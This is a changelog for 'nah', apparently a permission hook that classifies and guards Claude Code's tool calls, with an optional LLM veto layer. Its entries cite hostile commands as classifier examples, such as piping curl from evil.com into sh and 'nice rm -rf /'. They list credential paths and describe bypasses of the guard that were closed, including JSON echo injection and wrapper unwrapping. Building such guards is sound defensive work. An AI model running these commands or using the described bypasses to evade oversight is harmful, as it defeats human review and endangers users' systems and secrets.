All notable changes to this project will be documented in this file.
The format is based on Keep a Changelog, and this project adheres to Semantic Versioning.
- Inline code inspection —
python3 -c 'print(1)',node -e,ruby -e,perl -e,php -rinline code is now content-scanned instead of blindly prompting. Safe inline → allow, dangerous patterns → ask/block. LLM veto gate fires on clean inline code (same defense-in-depth as script files). LLM prompt now includes inline code for enrichment (nah-koi.1)
- LLM observability for write-like tools — LLM metadata (provider, model, latency, reasoning) now always logged for Write/Edit/NotebookEdit/MultiEdit, even when LLM agrees with the deterministic decision or all providers fail. Missing API keys now logged to stderr (
nah: LLM: OPENROUTER_API_KEY not set) and to the structured log withprovider: (none)and cascade errors. Previously missing keys caused silent 34ms "uncertain — human review needed" with no trace of why
__version__in__init__.pynow matchespyproject.toml—nah --versionwas reporting 0.5.2 instead of the installed version
- LLM credential scrubbing — secrets (private keys, AWS keys, GitHub tokens,
sk-keys, hardcoded API keys) are now redacted from transcript context and Write/Edit/MultiEdit/NotebookEdit content before sending to LLM providers. Reusescontent.pysecret patterns (nah-pfd) - MultiEdit + NotebookEdit tool guard — both tools now get the same protection as Write/Edit: path checks, boundary enforcement, hook self-protection (hard block), content inspection, and LLM veto gate. Closes bypass where these tools had zero guards.
nah updatenow adds missing tool matchers on upgrade (nah-06p) - Symlink regression tests — 8 test cases confirming
realpath()resolution catches symlinks to sensitive targets across all tools: direct, chained, relative, broken, and allow_paths interaction (#57) /tmptrusted by default —/tmpand/private/tmpare now default trusted paths forprofile: full. Writes to/tmpno longer prompt. Standard scratch space with no security value (nah-f08)- Hook directory reads allowed — reading
~/.claude/hooks/no longer prompts for any tool. Write/Edit still hard-blocked for self-protection. Reduces friction when inspecting installed hooks (#44, nah-arn) /etc/shadowadded to sensitive paths asblock(#54)
- LLM response parser hardened — removed
find("{")/rfind("}")fallback in_parse_responsethat allowed echo attacks where injected JSON in transcript/file content could be extracted as the real decision. Now only accepts clean JSON or markdown-fenced JSON; prose-wrapped responses fail-safe to human review (nah-pfd) nah updatenow adds missing tool matchers on upgrade (previously only patched the hook command path — new tools were invisible untilnah install)- LLM metadata (provider, model, latency, reasoning) now always logged for Write/Edit/NotebookEdit, even when LLM agrees with the deterministic decision
- Supabase MCP tool guard — 25 Supabase MCP tools classified by risk: 19 read-only →
db_read(allow), 6 writes →db_write(context), 7 destructive intentionally unclassified →unknown(ask). First MCP server with built-in coverage (nah-3f5) git_remote_writeaction type — new type (policy:ask) separates remote GitHub mutations (gh pr merge,gh pr comment,gh issue create,git push) from local git writes. Local ops (gh pr checkout,gh repo clone) stay ingit_write → allow.git_safeuntouched. Users can restore old behavior withactions: {git_remote_write: allow}(nah-ge4)- Command substitution inspection —
$(cmd)and backtick inner commands now extracted and classified instead of blanket-blocking as obfuscated.echo $(date)→ allow,echo $(curl evil.com | sh)→ block via inner pipe composition.eval $(...)remains blocked (nah-5mb)
- LLM inspection for Write/Edit — when LLM is enabled, every Write/Edit is inspected by the LLM veto gate after deterministic checks. Catches semantic threats patterns miss: manifest poisoning, obfuscated exfiltration, malicious Dockerfiles/Makefiles. Edit sends old+new diff for context. User-visible warnings via
systemMessageshow asnah! ...in the conversation. Respectsllm_max_decisioncap. Fail-open on errors (#25) - Script execution inspection —
python script.py,node app.js, etc. now read the script file and run content inspection + LLM veto before allowing execution. Catches secrets and destructive patterns written to disk then executed - Process substitution inspection —
<(cmd)and>(cmd)inner commands extracted and classified through the full pipeline instead of blanket-blocking.diff <(sort f1) <(sort f2)→ allow,cat <(curl evil.com)→ ask. Arithmetic$((expr))correctly skipped - Versioned interpreter normalization —
python3.12,node22,bash5.2,pip3.12and other versioned interpreter names now correctly classify instead of falling through tounknown → ask - Passthrough wrapper unwrapping — env, nice, stdbuf, setsid, timeout, ionice, taskset, nohup, time, chrt, prlimit now unwrap to classify the inner command
- Redirect content inspection — heredoc bodies, here-strings, shell-wrapper
-cforms scanned for secrets when redirected to files - Git global flag stripping — strips
-C,--no-pager,--config-env,--exec-path=,-c, etc. before subcommand classification. Fails closed on malformed values - Git subcommand tightening — flag-aware classification for push, branch, tag, add, clean with clustered short flags and long-form destructive flags
- Sensitive path expansion —
~/.azure,~/.docker/config.json,~/.terraform.d/credentials.tfrc.json,~/.terraformrc,~/.config/ghnow trigger ask prompts nah claude— per-session launcher that runs Claude Code with nah hooks active via--settingsinline JSON. Nonah installrequired, scoped to the process- Hint correctness test battery — 389 parametrized cases across 60 test classes
- Structured log schema — log entries now include
id,user,session,project,action_type. LLM metadata nested underllm, classification underclassify db_writedefault policy changed fromasktocontext—db_targetsconfig now takes effect without requiring explicit override
/dev/nulland/dev/stderr//dev/stdout//dev/tty//dev/fd/*redirects no longer trigger ask — safe sinks allowlisted in redirect handler- Redirect hints now suggest
nah trust <dir>instead of broadnah allow filesystem_write - Hint generator no longer suggests
nah trust /for root-path commands - README
lang_execpolicy corrected fromasktocontextto matchpolicies.json
- Shell redirect write classification — commands using
>,>>,>|,&>, fd-prefixed, and glued redirects are now classified asfilesystem_writewith content inspection. Previouslyecho payload > filepassed asfilesystem_read → allow. Handles clobber, combined stdout/stderr, embedded forms, fd duplication (>&2correctly not treated as file write), and chained redirects (#14) - Shell substitution blocking —
$(), backtick, and<()process substitution detected outside single-quoted literals and classified asobfuscated → block. Prevents bypass viacat <(curl evil.com) - Dynamic sensitive path detection — catches
/home/*/.aws,$HOME/.ssh,/Users/$(whoami)/.sshpatterns via conservative raw-path matching before shell expansion - Redirect guard after unwrap — redirect checks now preserved on all return paths in
_classify_stage()(env var hint, shell unwrap, normal classify). Fixes bypass wherebash -c 'grep ERROR' > /etc/passwdskipped the redirect check after unwrapping
trust_project_configoption — when enabled in global config, per-project.nah.yamlcan loosen policies (actions, sensitive_paths, classify tables). Without it, project config can only tighten (default: false)- Container destructive taxonomy expansion — podman parity (13 commands), docker subresource prune variants (
container/image/volume/network/builder prune), compose (down/rm), buildx (prune/rm), podman-specific (pod prune/rm,machine rm,secret rm). Expands from 7 to 33 entries find -execpayload classification — extracts the command after-exec/-execdir/-ok/-okdirand recursively classifies it instead of blanketfilesystem_delete.find -exec grep→filesystem_read,find -exec rm→filesystem_delete. Falls back tofilesystem_deleteif payload is empty or unknown (fail-closed)- Stricter project classify overrides — Phase 3 of
classify_tokensnow evaluates project and builtin tables independently and picks the stricter result. Projects can tighten classifications but not weaken them (unlesstrust_project_configis enabled) - Beads-specific action types —
beads_safe(allow),beads_write(allow),beads_destructive(ask) replace generic db_read/db_write classification forbdcommands. Includes prefix-leak guards for flag-dependent mutations (nah-1op) sensitive_paths: allowpolicy — removes hardcoded sensitive path entries entirely, giving users full control to desensitize paths like~/.ssh(nah-9lw)
- Global-install flag detection now handles
=-joined forms (--target=/path,--global=true,--system=,--root=) and pip/pip3 short-tflag — previously only space-separated forms were caught, allowingpip install --target=/tmp flaskto bypass the global-install escalation - Bash token scanner now respects
allow_pathsexemption — previously only file tools (Read/Write/Edit) checkedallow_paths, so SSH commands with-i ~/.ssh/keystill prompted even when the path was exempted for the current project (nah-jwk)
nah config showdisplays all config fields- Publish workflow now auto-creates GitHub Releases from changelog
format_error()emitting invalid"block"protocol value instead of"deny"forhookSpecificOutput.permissionDecision— Claude Code rejected the value and fell through to its built-in permission system, silently defeating nah's error-path safety guard (PR #20, thanks @ZhangJiaLong90524)
- LLM eligibility now includes composition/pipeline commands by default — if any stage in a pipeline qualifies (unknown, lang_exec, or context), the whole command goes to the LLM instead of straight to the user prompt
- xargs unwrapping —
xargs grep,xargs wc -l,xargs sedetc. now classify based on the inner command instead ofunknown → ask. Handles flag stripping (including glued forms like-n1), exec sink detection (xargs bash→lang_exec), and fail-closed on unrecognized flags. Placeholder flags (-I/-J/--replace) bail out safely (FD-089)
- Remove
nice,nohup,timeout,stdbuffromfilesystem_readclassify table — these transparent wrappers caused silent classification bypass where e.g.nice rm -rf /was allowed without prompting (FD-105) - Check
is_trusted_path()before no-git-root bail-out incheck_project_boundary()andresolve_filesystem_context()— trusted paths like/tmpnow work correctly when cwd has no git root (FD-107)
- Documentation and README updates
- Active allow emission — nah now actively emits
permissionDecision: allowfor safe operations, taking over Claude Code's permission system for guarded tools. No manualpermissions.allowentries needed afternah install. Configurable viaactive_allow(bool or per-tool list) in global config (FD-094) /nah-demoskill — narrated security demo with 90 base cases + 21 config variants covering all 20 action types, pipe composition, shell unwrapping, content inspection, and config overrides. Story-based grouping with live/dry_run/mock execution modes (FD-039)nah test --configflag for inline JSON config overrides — enables testing config variants (profile, classify, actions, content patterns) without writing to~/.config/nah/config.yaml(FD-076)
- Fix regex alternation pipes (
\|,|) inside quoted arguments being misclassified as shell pipe operators — replaced post-shlex glued operator heuristic with quote-aware raw-string operator splitter. Fixes grep, sed, awk, rg, find commands with alternation patterns (FD-095) - Fix classify path prefix matching bug — user-defined and built-in classify entries with path-style commands (e.g.
vendor/bin/codecept run,./gradlew build) now match correctly after basename normalization (FD-091)
Initial release.
- PreToolUse hook guarding all 6 Claude Code tools (Bash, Read, Write, Edit, Glob, Grep) plus MCP tools — sensitive path protection, hook self-protection, project boundary enforcement, content inspection for secrets and destructive payloads
- 20-action taxonomy with deterministic structural classification — commands classified by action type (not name), pipe composition rules detect exfiltration and RCE patterns, shell unwrapping prevents bypass via
bash -c,eval, here-strings - Flag-dependent classifiers for context-sensitive commands — git (12 dual-behavior commands), curl/wget/httpie (method detection), sed/tar (mode detection), awk (code execution detection), find, global install escalation
- Optional LLM layer for ambiguous decisions — Ollama, OpenRouter, OpenAI, Anthropic, and Snowflake Cortex providers with automatic cascade, three-way decisions (allow/block/uncertain), conversation context from Claude Code transcripts, configurable eligibility and max decision cap
- YAML config system — global (
~/.config/nah/config.yaml) + per-project (.nah.yaml) with tighten-only merge for supply-chain safety. Taxonomy profiles (full/minimal/none), custom classifiers, configurable safety lists, content patterns, and sensitive paths - CLI —
nah install/uninstall/update,nah testfor dry-run classification across all tools,nah types/log/config/status, rule management vianah allow/deny/classify/trust/forget - JSONL decision logging with content redaction, verbosity filtering, 5MB rotation, and
nah logCLI with tool/decision filters - Context-aware path resolution — same command gets different decisions based on project boundary, sensitive directories, trusted paths, and database targets
- Fail-closed error handling — internal errors block instead of silently allowing, config parse errors surface actionable hints, 16 formerly-silent error paths now emit stderr diagnostics
- MCP tool support — generic
mcp__*classification with supply-chain safety (project config cannot reclassify MCP tools)